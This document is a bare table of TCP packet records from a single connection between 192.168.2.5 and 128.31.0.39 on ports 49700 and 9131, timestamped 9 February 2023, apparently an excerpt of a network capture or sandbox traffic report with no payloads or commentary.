Feb 9, 2023 00:59:58.709796906 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.709800959 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.709835052 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.709837914 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.709872007 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.709875107 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.709908962 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.709945917 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.709953070 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.709983110 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.710021019 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.710032940 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.710057020 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.710098028 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.710105896 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.710134029 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.710170031 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.710177898 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.710203886 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.710237026 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.710258961 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.710270882 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.710309982 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.710320950 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.710349083 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.710386038 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.710392952 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.710422039 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.710458040 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.710469961 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.710495949 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.710535049 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.710542917 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.710572958 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.710613012 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.710618973 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.710649014 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.710688114 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.710712910 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.710755110 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.710791111 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.710827112 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.710832119 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.710861921 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.710861921 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.710899115 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.710933924 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.710943937 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.710972071 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.711008072 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.711011887 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.711045027 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.711081028 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.711117029 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.711122036 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.711153984 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.711163998 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.711191893 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.711230040 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.711257935 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.711265087 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.711301088 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.711319923 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.711333990 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.711374998 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.711389065 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.711412907 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.711451054 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.711453915 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.711505890 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.711514950 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.711540937 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.711565971 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.711591005 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.711607933 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.711642981 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.711677074 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.711677074 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.711747885 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.711781979 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.711807013 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.711816072 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.711822987 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.711921930 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.711956024 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.711958885 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.711975098 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.711994886 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.712009907 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.712029934 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.712032080 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.712064028 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.712091923 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.712099075 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.712105989 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.712132931 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.712136030 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.712168932 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.712193012 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.712203026 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.712205887 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.712236881 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.712245941 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.712272882 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.712277889 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.712307930 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.712321043 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.712341070 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.712366104 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.712376118 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.712378025 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.712412119 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.712423086 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.712445974 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.712483883 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.712485075 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.712519884 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.712527990 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.712554932 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.712555885 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.712555885 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.712590933 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.712598085 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.712650061 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.733711004 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.733766079 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.733814001 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.733860016 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.736908913 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.736952066 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.737037897 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.737078905 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.737448931 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.737493992 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.737530947 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.737544060 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.737552881 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.737584114 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.737593889 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.737607956 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.737621069 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.737641096 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.737647057 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.737696886 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.737751007 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.737759113 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.737760067 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.737799883 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.737803936 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.737829924 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.737847090 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.737867117 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.737926960 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.737977982 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.737984896 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.738001108 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.738020897 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.738024950 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.738048077 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.738050938 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.738076925 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.738076925 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.738102913 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.738104105 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.738112926 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.738136053 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.738148928 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.738173008 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.738183022 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.738214970 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.738226891 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.738266945 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.738276005 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.738292933 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.738311052 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.738327980 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.738337040 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.738368034 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.738379002 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.738404989 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.738426924 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.738430023 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.738439083 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.738455057 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.738470078 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.738492012 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.738497019 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.738543987 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.738563061 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.738593102 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.738617897 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.738614082 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.738640070 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.738642931 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.738656044 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.738677979 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.738678932 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.738735914 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.738761902 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.738801956 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.738830090 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.738857985 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.738857985 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.738867998 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.738878965 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.738895893 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.738918066 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.738948107 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.738949060 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.738971949 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.738997936 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.739001989 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.739015102 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.739020109 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.739041090 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.739068031 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.739141941 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.739170074 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.739195108 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.739195108 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.739211082 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.739223003 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.739243031 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.739249945 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.739268064 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.739294052 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.813380957 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.813471079 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.813534975 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.813574076 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.813574076 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.813604116 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.813622952 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.813653946 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.813658953 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.813694954 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.813729048 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.813782930 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.813819885 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.813819885 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.813819885 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.813843012 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.813854933 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.813898087 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.813905001 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.813930035 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.813942909 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.813977003 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.813985109 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.814038992 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.814039946 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.814088106 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.814090967 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.814120054 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.814135075 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.814152956 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.814169884 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.814210892 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.814220905 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.814284086 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.814326048 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.814327955 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.814327955 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.814384937 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.814394951 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.814450026 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.814460039 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.814492941 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.814523935 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.814537048 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.814538956 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.814573050 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.814591885 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.814615965 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.814620018 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.814649105 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.814662933 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.814702988 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.814876080 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.814907074 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.814944029 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.814950943 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.814970016 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.815001965 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.815023899 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.815058947 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.815077066 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.815098047 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.815110922 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.815149069 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.815151930 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.815197945 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.815213919 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.815253019 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.815283060 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.815313101 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.815344095 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.815351009 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.815351009 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.815351009 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.815373898 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.815391064 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.815391064 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.815404892 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.815437078 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.815469027 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.815478086 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.815478086 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.815496922 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.815505028 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.815526962 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.815555096 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.815557003 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.815592051 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.815602064 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.815629005 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.815637112 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.815666914 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.815680027 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.815696955 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.815711975 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.815749884 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.815752029 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.815783024 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.815826893 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.815855980 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.815855026 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.815855026 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.815886021 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.815916061 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.815948009 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.815969944 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.815969944 CET	49700	9131	192.168.2.5	128.31.0.39
